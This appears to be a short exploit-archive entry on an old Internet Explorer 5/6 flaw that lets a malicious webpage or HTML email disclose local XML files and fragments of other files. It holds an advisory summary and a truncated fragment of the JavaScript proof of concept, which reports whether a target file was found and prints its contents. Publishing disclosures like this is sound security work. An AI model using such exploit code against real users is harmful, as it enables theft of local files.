Microsoft Internet Explorer 5/6 - XML Redirect File Disclosure

source: https://www.securityfocus.com/bid/5560/info

A flaw in Microsoft Internet Explorer may reveal the entire contents of XML files and partial contents of other files to attackers. This vulnerability allows an attacker to read the entire contents of XML files, and fragments of other files, existing in a known location, from a victim user's system.

This vulnerability can be exploited via a malicious webpage or via malicious HTML e-mail. Other applications that use the Internet Explorer engine are affected as well (Outlook, MSN Explorer, etc.).

oXD.firstChild || oPE.line>0 ?
"File found!\n"+
"Details:\n\n"+
(oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'")
:
"File does not exist or could not be retrieved."
);
